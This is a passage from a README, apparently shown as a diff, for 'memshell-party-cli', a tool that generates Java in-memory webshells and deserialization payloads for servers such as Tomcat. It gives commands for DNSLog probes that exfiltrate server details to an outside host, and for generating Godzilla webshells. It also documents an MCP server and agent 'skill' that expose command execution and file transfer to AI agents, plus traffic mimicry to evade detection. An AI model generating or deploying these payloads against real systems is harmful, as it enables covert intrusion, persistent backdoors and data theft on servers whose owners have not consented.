--godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
### 8. Fingerprint the target first (blind)
|
|
360
|
+
|
|
361
|
+
```bash
|
|
362
|
+
# DNSLog: confirm code execution + exfil the server/JDK name via DNS
|
|
363
|
+
memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
|
|
364
|
+
# Sleep: time-based blind — delays Ns only if the server matches your guess
|
|
365
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
366
|
+
```
|
|
367
|
+
|
|
368
|
+
The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
|
|
369
|
+
|
|
370
|
+
### Parse a class name
|
|
371
|
+
|
|
372
|
+
```bash
|
|
373
|
+
memparty parse-classname --file shell.class
|
|
374
|
+
memparty parse-classname <base64-of-class-bytes>
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
### Version
|
|
378
|
+
|
|
379
|
+
```bash
|
|
380
|
+
memparty version # CLI version + backend server version
|
|
381
|
+
```
|
|
382
|
+
|
|
383
|
+
## MCP server
|
|
384
|
+
|
|
385
|
+
Run the CLI as an MCP server over stdio:
|
|
386
|
+
|
|
387
|
+
```bash
|
|
388
|
+
memparty mcp --api http://127.0.0.1:8080
|
|
389
|
+
```
|
|
390
|
+
|
|
391
|
+
Example Claude Code / Claude Desktop config:
|
|
392
|
+
|
|
393
|
+
```json
|
|
394
|
+
{
|
|
395
|
+
"mcpServers": {
|
|
396
|
+
"memshell-party": {
|
|
397
|
+
"command": "npx",
|
|
398
|
+
"args": ["-y", "memshell-party-cli", "mcp"],
|
|
399
|
+
"env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
|
|
400
|
+
}
|
|
401
|
+
}
|
|
402
|
+
}
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
|
|
406
|
+
`list_shell_tool_configs`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`, `server_version`, `connect_test`,
|
|
407
|
+
`exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
|
|
408
|
+
`target_remove`, `log_list`.
|
|
409
|
+
|
|
410
|
+
`generate_memshell` / `generate_probe` return the packed payload in `packResult`; pass the
|
|
411
|
+
optional `outputFile` argument to also write it to a local file (base64 auto-decoded for
|
|
412
|
+
`.class`/`.jar`/`.zip`/`.ser`/`.bin`), and the response gains an `outputFile` field with the
|
|
413
|
+
write result.
|
|
414
|
+
|
|
415
|
+
## AI skill
|
|
416
|
+
|
|
417
|
+
The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
|
|
418
|
+
type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and
|
|
419
|
+
common gotchas such as Jakarta vs javax, JDK targeting, packer categories vs concrete variants).
|
|
420
|
+
|
|
421
|
+
Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it
|
|
422
|
+
picks the skill up):
|
|
423
|
+
|
|
424
|
+
```bash
|
|
425
|
+
memparty skill install # ~/.agents/skills/memshell-party (default)
|
|
426
|
+
memparty skill install --claude # ~/.claude/skills/memshell-party (Claude Code)
|
|
427
|
+
memparty skill install --project # ./skills/memshell-party
|
|
428
|
+
memparty skill install --user --claude # both user + claude scopes
|
|
429
|
+
```
|
|
430
|
+
|
|
431
|
+
Then ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
|
|
432
|
+
*"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
|
|
433
|
+
the agent to enumerate options first and pick the right packer for the vector.
|
|
434
|
+
|
|
435
|
+
## Site-mimicking (mimic)
|
|
436
|
+
|
|
437
|
+
Build a custom shell whose traffic blends into a real business site. Flow:
|
|
438
|
+
|
|
439
|
+
```bash
|
|
440
|
+
memparty skill install # teach the agent the workflow
|
|
441
|
+
memparty profile init acme --site http://192.0.2.1:8080 # skeleton profile to hand-author
|
|
442
|
+
memparty custom build --profile acme --server Tomcat # -> injectable payload
|
|
443
|
+
memparty demo # local end-to-end walkthrough
|
|
444
|
+
```
|
|
445
|
+
|
|
446
|
+
`profile` also has `list` / `show` / `check`. Details and camouflage options (body templates, JSON
|
|
447
|
+
request bodies, SSE cover streams, etc.) live in the skill.
|
|
448
|
+
|
|
449
|
+
## Programmatic use
|
|
450
|
+
|
|
451
|
+
The package also ships a typed API client:
|
|
452
|
+
|
|
453
|
+
```ts
|
|
454
|
+
import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
|
|
455
|
+
|
|
456
|
+
const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
|
|
457
|
+
const res = await client.generateMemShell(
|
|
458
|
+
buildMemShellRequest({
|
|
459
|
+
server: "Tomcat",
|
|
460
|
+
shellTool: "Godzilla",
|
|
461
|
+
shellType: "Listener",
|
|
462
|
+
packer: "DefaultBase64",
|
|
463
|
+
godzillaPass: "pass",
|
|
464
|
+
godzillaKey: "key",
|
|
465
|
+
jdk: "java8",
|
|
466
|
+
}),
|
|
467
|
+
);
|
|
468
|
+
console.log(res.memShellResult.shellClassName, res.packResult);
|
|
469
|
+
```
|
|
470
|
+
|
|
471
|
+
## Development
|
|
472
|
+
|
|
473
|
+
```bash
|
|
474
|
+
npm install
|
|
475
|
+
npm run build # tsup -> dist/
|
|
476
|
+
npm test # vitest
|
|
477
|
+
npm run typecheck # tsc --noEmit
|
|
478
|
+
```
|
|
479
|
+
|
|
480
|
+
## License
|
|
481
|
+
|
|
482
|
+
MIT
|